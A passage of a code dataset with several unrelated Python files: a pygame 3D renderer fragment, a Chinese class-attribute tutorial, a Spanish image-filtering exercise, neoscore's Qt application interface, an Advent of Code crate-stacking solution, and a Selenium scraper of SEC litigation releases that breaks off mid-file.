drawn in reverse order (farthest first).\n '''\n faces_to_render = []\n colours = []\n depths = []\n for key in self._model_manager.models:\n vertices = [self._convert_coords(v) for v in self._model_manager.get_vertices(key, world=True)]\n faces = self._model_manager.get_faces(key)\n colour = self._model_manager.get_colour(key)\n for f in range(len(faces)):\n face_verts = self._clip([vertices[i] for i in faces[f]], self._camera.clip_plane)\n\n if len(face_verts) > 2:\n faces_to_render.append([project2d(v, self._center, (self._camera.proj_x, self._camera.proj_y))\n for v in face_verts])\n colours.append(colour)\n depths.append(sum(sum(v[i]/len(face_verts) for v in face_verts)**2 for i in range(3)))\n\n # Sort by depth and draw from back to front\n order = sorted(range(len(faces_to_render)), key=lambda i: depths[i], reverse=True)\n for i in order:\n pygame.draw.polygon(self._screen, colours[i], faces_to_render[i])\n for j in range(len(faces_to_render[i])):\n pygame.draw.line(self._screen, (0, 0, 0), faces_to_render[i][j-1], faces_to_render[i][j])\n\n def _convert_coords(self, vertex):\n '''\n Convert world coordinates to camera coordinates\n '''\n x = vertex[0] - self._camera.viewpoint[0]\n y = vertex[1] - self._camera.viewpoint[1]\n z = vertex[2] - self._camera.viewpoint[2]\n x, z = rotate2d((x, z), self._camera.rotation[1])\n y, z = rotate2d((y, z), self._camera.rotation[0])\n return x, y, z\n\n def _handle_event(self, event):\n '''\n Handler for mouse/keyboard events\n '''\n if event.type == pygame.MOUSEMOTION:\n self._mouse_motion(event)\n elif event.type == pygame.KEYDOWN:\n if event.key == pygame.K_ESCAPE:\n self._quit()\n\n def _mouse_motion(self, event):\n '''\n Handler for mouse movement\n '''\n x, y = event.rel\n if abs(x) > MOTION_THRESHOLD or abs(y) > MOTION_THRESHOLD:\n return\n x /= SCALE_FACTOR\n y /= SCALE_FACTOR\n self._camera.rotation = (self.get_rotation()[0] + y, self.get_rotation()[1] + x)\n\n @staticmethod\n def _quit():\n '''\n Quit the Scene\n '''\n pygame.quit()\n exit()\n\n def _update(self, time):\n '''\n Update the models in the Scene\n '''\n self._model_manager.update_models(time)\n\n def _clip(self, face_vertices, clip_dist):\n '''\n Clip parts of the face that are 'behind' the camera (see set_clipping_plane)\n '''\n i = 0\n while i < len(face_vertices):\n if face_vertices[i][2] < clip_dist:\n sides = []\n prev_vert = face_vertices[i - 1]\n next_vert = face_vertices[(i + 1)%len(face_vertices)]\n if prev_vert[2] >= clip_dist:\n sides.append(self._get_z(face_vertices[i], prev_vert, clip_dist))\n if next_vert[2] >= clip_dist:\n sides.append(self._get_z(face_vertices[i], next_vert, clip_dist))\n face_vertices = face_vertices[:i] + sides + face_vertices[i + 1:]\n i += len(sides) - 1\n i += 1\n return face_vertices\n\n @staticmethod\n def _get_z(v1, v2, min_z):\n '''\n Modify vertex for clipped face\n '''\n if v2[2] == v1[2] or min_z < v1[2] or min_z > v2[2]:\n return None\n dx = v2[0] - v1[0]\n dy = v2[1] - v1[1]\n dz = v2[2] - v1[2]\n i = (min_z - v1[2])/dz\n return v1[0] + dx*i, v1[1] + dy*i, min_z\n\n","repo_name":"haydengunraj/simple_3d_graphics","sub_path":"scene.py","file_name":"scene.py","file_ext":"py","file_size_in_byte":9218,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"1102347734","text":"# 类是一个特殊的属性\n\n# 类属性 给类对象中定义的属性\n# 通常记录 与这个类相关的特征\n# 不用于记录具体对象的特征\n\nclass Tool(object):\n\n\t# 使用赋值语句定义类属性\n\tcount = 0\n\n\tdef __init__(self, name):\n\t\tself.name = name\n\n\t\t# 让类属性的值 +1\n\t\tTool.count += 1\n\n# 创建工具对象\ntool1 = Tool(\"1\")\ntool2 = Tool(\"2\")\ntool3 = Tool(\"3\")\n\n# 输出工具总数 类.类属性\nprint(\"类属性 工具总数%d\" % Tool.count)\n\n# 也可用 对象名.类属性 不推荐使用\nprint(tool1.count)\n\n# 对象.类属性 若赋值会在对象内部添加一个实例属性\ntool3.count = 99\nprint(tool3.count)\nprint(Tool.count)\n\n\n# 类方法\nclass Bar(object):\n\n\tcount = 0\n\n\t@classmethod\n\tdef show_bar_count(cls):\n\t\tprint(\"bar方法的数量是%d\" % cls.count)\n\n\tdef __init__(self, name):\n\t\tself.name = name\n\n\t\tBar.count += 1\n\n\nbar1 = Bar(\"1\")\nbar2 = Bar(\"2\")\nbar3 = Bar(\"3\")\n\nBar.show_bar_count()\n\n\n\n# 静态方法\nclass Dog(object):\n\n\n\t# 不需要访问类属性、实例属性时定义为静态方法\n\t@staticmethod\n\tdef run():\n\t\tprint(\"run ...\")\n\n# 通过 类名. 调用静态方法,不需要创建对象\nDog.run()\n\n\n\n# 方法综合案例\n\"\"\"\n1.设计一个Game类\n2.属性\n\t·定义一个类属性top_score记录游戏的历史最高分\n\t·定义一个实例属性play_name记录当前玩家的姓名\n3.方法\n\t·静态方法show_help显示游戏帮助信息\n\t·类方法show_top_score显示历史最高分\n\t·实例方法start_game开始当前玩家游戏\n4.主程序\n\t1)查看帮助信息\n\t2)产看历史最高分数\n\t3)创建游戏对象,开始游戏\n\"\"\"\n\nclass Game(object):\n\n\t# 定义类属性\n\ttop_score = 89\n\n\tdef __init__(self,play_name):\n\t\tself.play_name = play_name\n\n\t@staticmethod\n\tdef show_help():\n\t\tprint(\"游戏帮助...\")\n\n\t@classmethod\n\tdef show_top_score(cls):\n\t\tprint(\"当前最高分是%d\" % cls.top_score)\n\n\tdef start_game(self):\n\t\tprint(\"玩家%s开始游戏\" % self.play_name)\n\n# 主程序\nGame.show_help()\nGame.show_top_score()\n\ngame = Game(\"张三\")\ngame.start_game()\n\n# 若既要访问实例属性,又要访问类属性,定义为实例方法\n# 在实例方法中用 类名. 访问类属性\n\n\n","repo_name":"gscr10/Python_study","sub_path":"r_19_类属性与类方法.py","file_name":"r_19_类属性与类方法.py","file_ext":"py","file_size_in_byte":2182,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"69886608243","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Jun 23 18:22:44 2022\r\n\r\n@author: Maximiliano Lexow\r\n\"\"\"\r\n\r\nimport imageio\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom matplotlib import cm\r\nfrom scipy.signal import convolve2d\r\n\r\n# matplotlib inline\r\nMAT_RGB2YIQ = np.array([[0.299, 0.587, 0.114],\r\n [0.596,-0.275,-0.321],\r\n [0.211,-0.523, 0.311]])\r\n\r\ndef apply_matrix(img, M):\r\n return np.matmul(img.reshape((-1,3)), M.T).reshape(img.shape)\r\n\r\ndef rgb2yiq(img):\r\n return apply_matrix(img, MAT_RGB2YIQ)\r\n\r\ndef yiq2rgb(img):\r\n return apply_matrix(img, np.linalg.inv(MAT_RGB2YIQ))\r\n\r\ndef rmse(img1, img2):\r\n return np.sqrt(np.mean((img1-img2)**2))\r\n\r\ndef plot_kernel(data, ax=None):\r\n rows, cols = data.shape\r\n y, x = np.meshgrid(np.arange(rows),np.arange(cols),indexing='ij')\r\n if ax == None:\r\n fig = plt.figure()\r\n ax = fig.gca(projection='3d')\r\n _min, _max = (np.min(data), np.max(data))\r\n ax.plot_surface(x, y, data.T, cmap=cm.jet, vmin=_min, vmax=_max)\r\n\r\ndef plot_images_and_kernel(img, img_filt, kernel, kernel_name):\r\n fig = plt.figure(figsize=(17,5))\r\n plt.title(kernel_name) # Agrega un título al plot\r\n ax1 = fig.add_subplot(131)\r\n ax1.imshow(img, 'gray')\r\n ax1.title.set_text('Input image')\r\n ax2 = fig.add_subplot(132)\r\n ax2.imshow(img_filt, 'gray')\r\n ax2.title.set_text('Filtered image')\r\n ax3 = fig.add_subplot(133, projection='3d')\r\n plot_kernel(kernel, ax=ax3)\r\n ax3.title.set_text('Kernel')\r\n plt.show()\r\n \r\nimg = imageio.imread('imageio:camera.png')/255\r\nplt.imshow(img, 'gray')\r\n\r\n\r\n\r\n\r\n#%% Implementación de FILTOS PASA BAJOS\r\n\r\n# 1. Box (cuadrado)\r\nN = 3\r\ncuadrado = np.ones((N,N)) / (N**2)\r\nimg_filt = convolve2d(img, cuadrado, 'same')\r\n\r\nplot_images_and_kernel(img, img_filt, cuadrado, \"Filtro cuadrado de orden {}\".format(N))\r\n\r\n#%%\r\n# 2. Circular\r\n\r\n\r\n#%%\r\n# 3. Bartlett\r\n\r\n# Escribo el KERNEL de Bartlett\r\n\r\n#N = int(input(\"Ingrese el orden del filtro (N). Puede ser cualquier número impar mayor a 1: \"))\r\nN = 5\r\n# Defino el filtro Bartlett de orden N ingresado por el usuario.\r\n# Para ello primero defino un vector, y hago la multiplicación para crear la matriz\r\n\r\ndef bartlett(N) :\r\n matriz = []\r\n fila = np.zeros(N)\r\n for i in range(N):\r\n if i <= N/2:\r\n fila[i] = i + 1\r\n else:\r\n for k in range(int(np.ceil(N/2))):\r\n fila[i] = np.abs (i + 1 - (k+1)*2)\r\n \r\n matriz = np.outer(fila,np.transpose(fila))\r\n matriz = matriz / np.sum(matriz)\r\n return matriz\r\n\r\nkernel_bartlett = bartlett(N)\r\n\r\n\r\nimg_filt = convolve2d(img, kernel_bartlett, 'same')\r\n\r\nplot_images_and_kernel(img, img_filt, kernel_bartlett, \"Filtro Bartlett de orden {}\".format(N))\r\n\r\n#%%\r\n# 4. Gaussiano\r\n\r\n# Kernel del filtro gaussiano\r\nN = 5\r\nstd = 1.4\r\n\r\ndef gaussiano(N,std) :\r\n matriz = []\r\n fila = np.linspace(-(N - 1) / 2., (N - 1) / 2., N)\r\n gauss = np.exp(-0.5 * np.square(fila) / np.square(std))\r\n \r\n matriz = np.outer(gauss,np.transpose(gauss))\r\n matriz = matriz / np.sum(matriz)\r\n return matriz\r\n\r\nkernel_gaussiano = gaussiano(N,std)\r\n\r\n\r\nimg_filt = convolve2d(img, kernel_gaussiano, 'same')\r\n\r\nplot_images_and_kernel(img, img_filt, kernel_gaussiano, \"Filtro Gaussiano de orden {} y desvío estándar {}.\".format(N,std)) \r\n\r\n#%% \r\n# 1. Laplaciano\r\n# Defino kernel del filtro Laplaciano\r\n\r\nneighbors = 8 # Puede valer 4 u 8\r\n\r\ndef laplaciano(neighbors):\r\n if neighbors == 4:\r\n kernel = np.array([[0, -1, 0], \r\n [-1, 4, -1],\r\n [0, -1, 0]])\r\n elif neighbors == 8:\r\n kernel = np.array([[1, 1, 1], \r\n [1, -8, 1],\r\n [1, 1, 1]])\r\n else:\r\n print(\"Ingresó un parámetro no especificado.\")\r\n return kernel\r\n\r\nkernel_laplaciano = laplaciano(neighbors)\r\n\r\nimg_filt = convolve2d(img, kernel_laplaciano, 'same')\r\n\r\nplot_images_and_kernel(img, img_filt, kernel_laplaciano, \"Filtro Laplaciano de {} vecinos.\".format(neighbors)) \r\n\r\n#%%\r\n# 2. Pasaaltos a partir de un pasabajo elegido (Cuadrado, bartlett o gaussiano)\r\n\r\nprint(\"Elija el filtro pasabajos a partir del cual se armará un pasaaltos: \")\r\nprint(\"(1) cuadrado, (2) bartlett, (3) gaussiano\")\r\n# Como no funciona el input le fijo un filtro:\r\nprint(\"Ingrese el orden del filtro: \")\r\n\r\nfilter_name = \"gaussiano\"\r\nN = 5\r\nstd = 1.4\r\n\r\nfiltro = gaussiano(N,std) \r\n\r\npasaaltos = np.array(np.ones((N,N))) / np.square(N) - filtro\r\n\r\nimg_filt = convolve2d(img, pasaaltos, 'same')\r\n\r\nplot_images_and_kernel(img, img_filt, pasaaltos, \"Filtro pasaaltos a partir de un filtro {}:\".format(filter_name))\r\n\r\n#%%\r\n# PASABANDA\r\n# 1. Diferencia de Gaussianos\r\n\r\n# Llamo dos filtros gaussianos con diferente desvío estándar y los resto:\r\n# N debe ser el mismo lógicamente\r\n\r\nN = 5\r\nstd1 = 0.5\r\nstd2 = 1\r\n# std1 debe ser menor a std 2\r\n\r\ngauss1 = gaussiano(N,std1)\r\ngauss2 = gaussiano(N,std2)\r\n\r\n# Defino a mi filtro por dif de gaussianas:\r\nDoG = gauss1 - gauss2\r\n\r\nimg_filt = convolve2d(img, DoG, 'same')\r\n\r\nplot_images_and_kernel(img, img_filt, DoG, \"Filtro por diferencia de Gaussianas entre dos filtros de tamaño: N = {}, y desvío estándar: std1 = {}, std2 = {}\".format(N,std1,std2))\r\n\r\n#%% \r\n# OTROS\r\n# 1. Mejora de contraste\r\n\r\n# Utilizo un filtro laplaciano \r\n\r\nK = 0.8 # K es la constante de proporción del pasaaltos\r\nfiltro = laplaciano(4)\r\nN = 3\r\n\r\n# Filtro primero la img con el laplaciano\r\nimg_filt_laplace = convolve2d(img, filtro, 'same')\r\nimg_filt = img + K * img_filt_laplace \r\nimg_filt = np.clip(img_filt,0,1) # Clampeo la imagen de 0 a 1\r\n\r\n\r\n# img_filt = convolve2d(img, MdC, 'same')\r\n\r\nplot_images_and_kernel(img, img_filt, filtro, \"Filtro de mejora de contraste con constante de proporción = {}\".format(K))\r\n\r\n#%% 1.2 IMPLEMENTAR LOS SIGUIENTES FILTROS DIRECCIONALES (ASIMÉTRICOS)\r\n\r\n# Defino los kernel para los gradientes en 8 direcciones (Sobel 3x3)\r\n\r\nGx = np.array([[-1, 0, 1], \r\n [-2, 0, 2],\r\n [-1, 0, 1]])\r\nGy = np.array([[1, 2, 1], \r\n [0, 0, 0],\r\n [-1, -2, -1]])\r\n\r\nimg_filt_Gx = convolve2d(img, Gx, 'same')\r\n\r\nplot_images_and_kernel(img, img_filt_Gx, Gx, \"Gradiente sobel 3x3 oeste\")\r\n\r\nimg_filt_Gy = convolve2d(img, Gy, 'same')\r\n\r\nplot_images_and_kernel(img, img_filt_Gy, Gy, \"Gradiente sobel 3x3 sur\")\r\n\r\n# Interpreto la imagen como número complejo\r\nimg_filt = img_filt_Gx + 1j * img_filt_Gy\r\n\r\n# El módulo sirve para detectar bordes\r\n# La fase indica hacia donde apunta el gradiente\r\n\r\nmodulo = np.abs(img_filt)\r\nmodulo = modulo / abs(np.max(modulo)) # Normalizo el módulo\r\nfase = np.angle(img_filt)\r\nfase = fase / abs(np.max(fase)) # Normalizo fase\r\n\r\nfig = plt.figure()\r\nax1 = fig.add_subplot(121)\r\nax1.imshow(modulo, 'gray')\r\nax1.title.set_text('Módulo')\r\nax2 = fig.add_subplot(122)\r\nax2.imshow(fase, 'coolwarm')\r\nax2.title.set_text('Fase')\r\n\r\n# No puedo plotear la barra de colores\r\n\r\n#%%\r\n# Es necesario correr la celda anterior que implementa el filtro Sobel, para obtener la\r\n# variable módulo.\r\n\r\n# Aplico un umbral u para binarizar \r\nu = 0.2 # Umbral\r\n\r\nimg_bordes = np.zeros(modulo.shape)\r\n\r\nimg_bordes[modulo > u] = 1 # Esto ve donde modulo tiene pixeles mayor a u\r\n\r\nfig = plt.figure()\r\nax1 = fig.add_subplot(111)\r\nax1.imshow(img_bordes, 'gray')\r\nax1.title.set_text('Bordes binarizados')\r\n\r\n#%%\r\n# 1.4 Explicación del algoritmo detector de bordes Canny\r\n# \r\n# Primero necesitamos una imagen en escala de grises. Luego le aplicamos un filtro gaussiano\r\n# para hacerla más suave y quitarle ruido. Una vez hecho esto aplicamos el filtro sobel en X\r\n# y en Y, para hallar el módulo del gradiente y la orientación (fase).\r\n# Teniendo esta imagen ya procesada, debemos achicar los bordes ya detectados para que estos\r\n# sean de 1 pixel. \r\n# Luego lo que debemos hacer es eliminar los bordes no dominantes (ruido). Eso se hace \r\n# eligiendo un rango de umbral adecuado. Lo que esté por encima del umbral max cuenta como\r\n# borde, lo que está por debajo del umbral min se descarta, y lo que está en el medio se \r\n# analiza si los píxeles están en contacto con algún borde fuerte.\r\n","repo_name":"maxilexow/PDI-2022","sub_path":"tp5.py","file_name":"tp5.py","file_ext":"py","file_size_in_byte":8229,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"42085678715","text":"from __future__ import annotations\n\nimport multiprocessing\nimport pathlib\nimport threading\nfrom typing import TYPE_CHECKING, Callable, List, Optional, Tuple\n\nfrom PyQt5.QtCore import QBuffer, QByteArray, QIODevice, QPoint, QRectF\nfrom PyQt5.QtGui import (\n QBitmap,\n QColor,\n QFontDatabase,\n QImage,\n QPainter,\n QPixmapCache,\n QRegion,\n)\nfrom PyQt5.QtWidgets import QApplication, QGraphicsScene\n\nfrom neoscore.core import env, math_helpers\nfrom neoscore.core.color import Color\nfrom neoscore.core.exceptions import FontRegistrationError, ImageExportError\nfrom neoscore.core.key_event import KeyEvent\nfrom neoscore.core.mouse_event import MouseEvent\nfrom neoscore.core.point import Point\nfrom neoscore.core.propagating_thread import PropagatingThread\nfrom neoscore.core.rect import Rect, RectDef\nfrom neoscore.core.units import Inch, Mm\nfrom neoscore.interface.brush_interface import BrushInterface\nfrom neoscore.interface.qt import file_paths\nfrom neoscore.interface.qt.converters import (\n color_to_q_color,\n qt_point_to_point,\n rect_to_qt_rect_f,\n)\nfrom neoscore.interface.qt.main_window import MainWindow\nfrom neoscore.interface.qt.viewport import Viewport\nfrom neoscore.interface.repl import running_in_ipython_gui_repl\n\nif TYPE_CHECKING:\n from neoscore.core.document import Document\n\n_RENDER_IMAGE_THREAD_MAX = multiprocessing.cpu_count()\n_INCHES_PER_METER: float = Inch(1) / Mm(1000)\n_QT_PIXMAP_CACHE_LIMIT_KB = 200_000\n\n\nclass AppInterface:\n \"\"\"The primary interface to the application state.\n\n This holds much of the global application state. An ``AppInterface`` must be created\n near the start of neoscore programs.\n \"\"\"\n\n _QT_FONT_ERROR_CODE = -1\n\n def __init__(\n self,\n document: Document,\n repl_refresh_func: Callable[[float], float],\n background_brush: BrushInterface,\n auto_viewport_interaction_enabled: bool,\n ):\n self.document = document\n args = [\"TestApplication\", \"-platform\", \"offscreen\"] if env.HEADLESS else []\n self.app = QApplication(args)\n self.main_window = MainWindow()\n self.scene = QGraphicsScene()\n self.view: Viewport = self.main_window.graphicsView\n self.view.setScene(self.scene)\n self.background_brush = background_brush\n self.auto_viewport_interaction_enabled = auto_viewport_interaction_enabled\n self.font_database = QFontDatabase()\n self.repl_refresh_func = repl_refresh_func\n self.render_image_thread_semaphore = threading.Semaphore(\n _RENDER_IMAGE_THREAD_MAX\n )\n self._viewport_rotation = 0\n\n def set_refresh_func(self, refresh_func: Callable[[float], float]):\n \"\"\"Set a function to run automatically on a timer in the main window.\"\"\"\n self.main_window.refresh_func = refresh_func\n\n def set_mouse_event_handler(self, handler: Callable[[MouseEvent], None]):\n \"\"\"Set a function to run on mouse events.\"\"\"\n self.main_window.graphicsView.mouse_event_handler = handler\n\n def set_key_event_handler(self, handler: Callable[[KeyEvent], None]):\n \"\"\"Set a function to run on keyboard input events.\"\"\"\n self.main_window.graphicsView.key_event_handler = handler\n\n def show(\n self,\n min_size: Optional[Tuple[int, int]] = None,\n max_size: Optional[Tuple[int, int]] = None,\n fullscreen: bool = False,\n ):\n \"\"\"Open a window showing a preview of the document.\n\n Args:\n min_size: An optional ``(width, height)`` minimum window size tuple.\n max_size: An optional ``(width, height)`` maximum window size tuple.\n fullscreen: Whether to show the window in fullscreen mode.\n This doesn't mix well with ``max_window_size``.\n \"\"\"\n self._optimize_for_interactive_view()\n self.main_window.show(min_size, max_size, fullscreen)\n if running_in_ipython_gui_repl():\n # Do not run app.exec_() in GUI REPL mode, since IPython\n # manages the GUI thread in that case.\n if not self.main_window.refresh_func:\n self.main_window.refresh_func = self.repl_refresh_func\n else:\n self.app.exec_()\n\n def render_image(\n self,\n rect: Optional[RectDef],\n dest: str | pathlib.Path | bytearray,\n dpi: int,\n quality: int,\n bg_color: Color,\n autocrop: bool,\n preserve_alpha: bool,\n ) -> PropagatingThread:\n \"\"\"Render the scene, or part of it, to a saved image.\n\n This renders on the main thread but autocrops and saves the image\n on a spawned thread which is returned to allow efficient rendering\n of many images in parallel. ``render_image`` will block if too many\n render threads are already running.\n\n Args:\n rect: The part of the document to render, in document coordinates.\n If ``None``, the entire scene will be rendered.\n dest: An output file path or a bytearray to save to. If a bytearray\n is given, the output format will be PNG.\n dpi: The pixels per inch of the rendered image.\n quality: The quality of the output image for compressed\n image formats. Must be either ``-1`` (default compression) or\n between ``0`` (most compressed) and ``100`` (least compressed).\n bg_color: The background color for the image.\n autocrop: Whether to crop the output image to tightly\n fit the contents of the frame. If true, the image will be\n cropped such that all 4 edges have at least one pixel not of\n ``bg_color``.\n preserve_alpha: Whether to preserve the alpha channel. If false,\n some non-transparent ``bg_color`` should be provided.\n\n Raises:\n ImageExportError: If Qt image export fails for unknown reasons.\n\n \"\"\"\n dpm = AppInterface._dpi_to_dpm(dpi)\n scale = dpm / Mm(1000).base_value\n if rect:\n source_rect = rect_to_qt_rect_f(Rect.from_def(rect))\n else:\n source_rect = self.scene.sceneRect()\n pix_width = int(source_rect.width() * scale)\n pix_height = int(source_rect.height() * scale)\n\n if preserve_alpha:\n q_image_format = QImage.Format_ARGB32\n else:\n q_image_format = QImage.Format_RGB32\n\n q_image = QImage(pix_width, pix_height, q_image_format)\n q_image.setDotsPerMeterX(dpm)\n q_image.setDotsPerMeterY(dpm)\n q_color = color_to_q_color(bg_color)\n q_image.fill(q_color)\n\n painter = QPainter()\n painter.begin(q_image)\n painter.setRenderHint(QPainter.Antialiasing)\n\n target_rect = QRectF(q_image.rect())\n\n self.scene.render(painter, target=target_rect, source=source_rect)\n painter.end()\n\n def finalize():\n with self.render_image_thread_semaphore:\n final_image = (\n AppInterface._autocrop(q_image, q_color) if autocrop else q_image\n )\n if isinstance(dest, bytearray):\n output_array = QByteArray()\n qbuf = QBuffer(output_array)\n qbuf.open(QIODevice.OpenModeFlag.WriteOnly)\n success = final_image.save(qbuf, quality=quality, format=\"PNG\")\n qbuf.close()\n dest.clear()\n dest.extend(output_array)\n else:\n success = final_image.save(\n file_paths.resolve_qt_path(dest), quality=quality\n )\n if not success:\n dest_description = (\n \"bytearray\" if isinstance(dest, bytearray) else dest\n )\n raise ImageExportError(\n \"Unknown error occurred when exporting image to \"\n + dest_description\n )\n\n thread = PropagatingThread(target=finalize)\n thread.start()\n return thread\n\n def destroy(self):\n \"\"\"Destroy the window and all global interface-level data.\"\"\"\n self.app.exit()\n self.app = None\n self.scene = None\n\n def register_font(self, font_file_path: str | pathlib.Path) -> List[str]:\n \"\"\"Register a font file with the graphics engine.\n\n Args:\n font_file_path: A path to a font file. Supports TrueType and OpenType formats.\n\n Returns:\n A list of font families found in the font.\n\n Raises:\n FontRegistrationError:\n If the registration fails for any reason.\n \"\"\"\n font_file_path = file_paths.resolve_qt_path(font_file_path)\n font_id = self.font_database.addApplicationFont(font_file_path)\n if font_id == AppInterface._QT_FONT_ERROR_CODE:\n raise FontRegistrationError(font_file_path)\n family_names = self.font_database.applicationFontFamilies(font_id)\n if not len(family_names):\n # I think this should be impossible, but log a warning just in case\n print(f\"Warning: font at {font_file_path} provided no family names\")\n return self.font_database.applicationFontFamilies(font_id)\n\n @property\n def background_brush(self) -> BrushInterface:\n \"\"\"The brush used to paint the scene background\"\"\"\n return self._background_brush\n\n @background_brush.setter\n def background_brush(self, value: BrushInterface):\n self._background_brush = value\n self.scene.setBackgroundBrush(value.qt_object)\n\n @property\n def auto_viewport_interaction_enabled(self) -> bool:\n \"\"\"Whether mouse and scrollbar viewport interaction is enabled\"\"\"\n return self._auto_viewport_interaction_enabled\n\n @auto_viewport_interaction_enabled.setter\n def auto_viewport_interaction_enabled(self, value: bool):\n self._auto_viewport_interaction_enabled = value\n self.view.set_auto_interaction(value)\n\n @property\n def viewport_center_pos(self) -> Point:\n \"\"\"The interactive viewport's center position in document space.\"\"\"\n # Working out the center position from the transform matrix and window\n # dimensions is pretty tricky, so hand the job to Qt.\n return qt_point_to_point(self.view.mapToScene(self.view.rect().center()))\n\n @viewport_center_pos.setter\n def viewport_center_pos(self, value: Point):\n self.view.centerOn(value.x.base_value, value.y.base_value)\n\n @property\n def viewport_scale(self) -> float:\n \"\"\"The interactive viewport's scale (zoom).\n\n Values should be greater than 0, with 1 as the base zoom and\n larger numbers zooming in.\n \"\"\"\n # Deriving the scale from the transform matrix is a headache, so compute it by\n # mapping a vector of known length.\n p1 = self.view.mapToScene(QPoint(0, 0))\n p2 = self.view.mapToScene(QPoint(1, 0))\n return 1 / math_helpers.dist((p1.x(), p1.y()), (p2.x(), p2.y()))\n\n @viewport_scale.setter\n def viewport_scale(self, value: float):\n transform = self.view.viewportTransform()\n relative_scale_factor = value / self.viewport_scale\n self.view.setTransform(\n transform.scale(relative_scale_factor, relative_scale_factor)\n )\n\n @property\n def viewport_rotation(self) -> float:\n \"\"\"Set the interactive viewport's rotation angle in degrees.\n\n The viewport is rotated about its center.\n \"\"\"\n # Track the rotation explicitly to prevent headaches and ambiguities trying to\n # derive rotation from the viewport transform matrix.\n return self._viewport_rotation\n\n @viewport_rotation.setter\n def viewport_rotation(self, value: float):\n transform = self.view.viewportTransform()\n if self._viewport_rotation:\n transform = transform.rotate(-self._viewport_rotation)\n self.view.setTransform(transform.rotate(value))\n self._viewport_rotation = value\n\n def _remove_all_loaded_fonts(self):\n \"\"\"Remove all fonts registered with ``register_font()``.\n\n This is primarily useful for testing purposes.\n \"\"\"\n success = self.font_database.removeAllApplicationFonts()\n if not success:\n raise RuntimeError(\"Failed to remove application fonts.\")\n\n def clear_scene(self):\n \"\"\"Clear the QT Scene. This should be called before each render.\"\"\"\n self.scene.clear()\n\n def _optimize_for_interactive_view(self):\n QPixmapCache.setCacheLimit(_QT_PIXMAP_CACHE_LIMIT_KB)\n self.view.setViewportUpdateMode(3) # NoViewportUpdate\n self.scene.setItemIndexMethod(-1) # NoIndex\n\n @staticmethod\n def _dpi_to_dpm(dpi: int) -> int:\n \"\"\"Convert a Dots Per Inch value to Dots Per Meter\"\"\"\n return int(dpi / _INCHES_PER_METER)\n\n @staticmethod\n def _autocrop(q_image: QImage, q_color: QColor) -> QImage:\n \"\"\"Automatically crop a qt image around the pixels not of a given color.\n\n Returns a newly cropped image; the original is left unmodified.\n \"\"\"\n mask = q_image.createMaskFromColor(q_color.rgb())\n crop_rect = QRegion(QBitmap.fromImage(mask)).boundingRect()\n return q_image.copy(crop_rect)\n","repo_name":"DigiScore/neoscore","sub_path":"neoscore/interface/app_interface.py","file_name":"app_interface.py","file_ext":"py","file_size_in_byte":13400,"program_lang":"python","lang":"en","doc_type":"code","stars":92,"dataset":"github-code","pt":"75"} +{"seq_id":"27322867334","text":"import numpy as np\nimport re\nfrom utils import read_lines_str\n\nvalues = read_lines_str(\"AOC2022/aoc05/input.txt\")\n\n\nintervals = []\n\ndef get_crates(line, crates):\n ch_idx=0\n crate_idx=1\n while True:\n try:\n if line[ch_idx]==\"[\":\n crate_idx = int(ch_idx / 4) + 1\n crates[crate_idx].insert(0, line[ch_idx+1])\n ch_idx+=1\n except IndexError:\n break\n return crates\n\ndef apply_transition_part1(nums, crates):\n amount = int(nums[0])\n from_id = int(nums[1])\n to_id = int(nums[2])\n for i in range(amount):\n crate = crates[from_id].pop()\n crates[to_id].append(crate)\n return crates\n\ndef apply_transition_part2(nums, crates):\n amount = int(nums[0])\n from_id = int(nums[1])\n to_id = int(nums[2])\n ll = []\n for i in range(amount):\n crate = crates[from_id].pop()\n ll.insert(0, crate)\n for crate in ll:\n crates[to_id].append(crate)\n return crates\n \n \n \n\n\ncrates = {i:[]for i in range(1, 10)}\nfor val in values:\n if val.startswith(\"move\"):\n nums = re.findall(\"\\d+\", val)\n crates = apply_transition_part2(nums, crates)\n else:\n crates = get_crates(val, crates)\n \nprint(\"\".join([crates[idx][-1] for idx in crates]))\n ","repo_name":"xjules/AOC","sub_path":"AOC2022/aoc05/aoc.py","file_name":"aoc.py","file_ext":"py","file_size_in_byte":1310,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"16008329065","text":"from selenium import webdriver\nfrom selenium.webdriver.chrome.service import Service\nfrom selenium.webdriver.common.by import By\nfrom webdriver_manager.chrome import ChromeDriverManager\nfrom pathlib import Path\nfrom time import sleep\nfrom random import randrange\nfrom tqdm import tqdm\n\nPath('outputs').mkdir(exist_ok=True)\n\nmain_page = 'https://www.sec.gov/litigation/litreleases.htm'\n\n\n# collect all the historical Litigation Releases for SEC Press\ndef create_historical_lr_index(archive_url: str = main_page):\n # Go to SEC Litigation Releases\n browser.get(archive_url)\n archives = browser.find_element(By.ID,\n value='archive-links').find_elements(By.TAG_NAME,\n value='a')\n # get all archive links for all years\n archive_urls: list = []\n for element in archives:\n url = element.get_attribute(name='href')\n archive_urls.append(url)\n\n # find all Litigation Releases in each year (LR)\n lr_urls = []\n for url in archive_urls:\n browser.get(url)\n all_lrs = browser.find_elements(By.XPATH, '//a[contains(text(),\"LR-\")]')\n for element in all_lrs:\n url = element.get_attribute(name='href')\n lr_urls.append(url)\n\n with open('outputs/litigation_releases_index.txt', mode='w') as index_file:\n for url in lr_urls:\n index_file.write(url + \"\\n\")\n\n\n# collect Litigation Releases of interest\ndef collect_lrs(path_to_index_file: str):\n Path('outputs', 'litigation_releases_text').mkdir(parents=True, exist_ok=True)\n with open(path_to_index_file) as index_file:\n index_file = index_file.read().split()\n\n print(f'There are {len(index_file)} urls in the index file.')\n print('starting keyword search...')\n for url in tqdm(index_file):\n litigation_release = url.split('/')[-1].split(\".\")[0]\n year = url.split('/')[-2]\n try:\n year = int(year)\n except ValueError:\n pass\n if not isinstance(year, int):\n year = 'Before 2006'\n\n browser.get(url)\n lr_text: str = browser.find_element(By.TAG_NAME, value='body').text\n Path('outputs', 'litigation_releases_text', f'{year}').mkdir(parents=True, exist_ok=True)\n with open(f'outputs/litigation_releases_text/{year}/{litigation_release}.txt', mode='w') as text_file:\n text_file.write(lr_text)\n 